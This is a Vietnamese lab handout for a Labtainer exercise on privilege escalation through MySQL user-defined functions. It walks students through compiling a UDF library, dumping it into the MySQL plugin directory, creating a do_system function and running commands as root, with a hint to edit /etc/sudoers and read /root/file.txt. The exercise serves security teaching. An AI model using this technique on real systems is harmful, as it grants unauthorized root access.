Bài lab: ptit-lpe-mysql

1. Nội dung và hướng dẫn thực hiện bài thực hành

1.1. Mục đích

- Giúp sinh viên hiểu về cách tạo hàm, cách hoạt động của hàm trong mysql.
- Sinh viên hiểu thêm về một số vấn đề bảo mật trong mysql

1.2. Yêu cầu đối với sinh viên

- Có kiến thức cơ bản về hệ điều hành Linux.
- Có kiến thức cơ bản về hệ quản trị cơ sở dữ liệu Mysql

1.3. Nội dung thực hành

- Khởi động bài lab:
  - Vào terminal, gõ:

    labtainer ptit-lpe-mysql

  Sau khi khởi động xong một terminal ảo sẽ xuất hiện

- Sử dụng câu lệnh sau để kiểm tra các tiến trình đang chạy

  ps -eaf

  - Ta có thể thấy được các dịch vụ trong đó dịch vụ **Mysql** chạy bởi người dùng **root.**

- Biên dịch file mã nguồn có sẵn (tạo file đối tượng và thêm thông tin gỡ lỗi vào file đối tượng đó)

  gcc <flags> udf.c

- Tạo ra file thư viện động từ file đối tượng đã biên dịch trước đó

  gcc -g -shared -Wl,-soname,<file_thư_viện> -o <file_thư_viện> <file_đối tượng>–lc

- Đăng nhập vào Mysql bằng username và mật khẩu cho trước

  mysql -u debian-sys-maint –p

- Lưu ý: user của dịch vụ mysql là: ‘ debian-sys-maint’, mật khẩu của dịch vụ mysql được cung cấp trong file password.txt

- Chỉ định cơ sở dữ liệu thao tác là **mysql**, tạo ra một bảng mới với một cột có kiểu dữ liệu dành cho việc lưu trữ dữ liệu nhị phân (blob)
- Thêm một bản ghi mới vào bảng vừa tạo với values là file thư viện động đã tạo ra trước đó.
  - *Gợi ý*: Có thể sử dụng hàm load_file
- Select bản ghi trong bảng và trích xuất value vào file mới trong thư mục */usr/lib/mysql/plugin* (thư mục thư viện động của mysql).

*select * from <table> <where condition> into dumpfile '... /plugin/<file_thư viện động >';*

  - Lưu ý: file mới cần phải có đuôi mở rộng .so (file thư viện động)
- Tạo hàm do_system từ file thư viện

  create function do_system returns integer soname <file_thư viện động>;

- Kiểm tra hàm đã tạo thành công chưa bằng lệnh

  *select * from mysql.func;*

- Chạy hàm vừa tạo

  select do_system(<command>);
  - Lưu ý: Command là một câu lệnh cho phép user chạy dưới quyền root.
  - Gợi ý: Sinh viên có thể đọc cách sử dụng file /etc/sudoers trong ubuntu, hoặc bất kỳ lệnh nào sao cho leo quyền thành công.
- Sau khi leo quyền thành công, sinh viên có thể đọc **file.txt** bí mật trong thư mục **/root**

  cat /root/file.txt

- Kết thúc bài lab:
  - Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab:

    stoplab ptit-lpe-mysql

  - Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.
- Khởi động lại bài lab:

  Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng lệnh

  labtainer –r ptit-lpe-mysql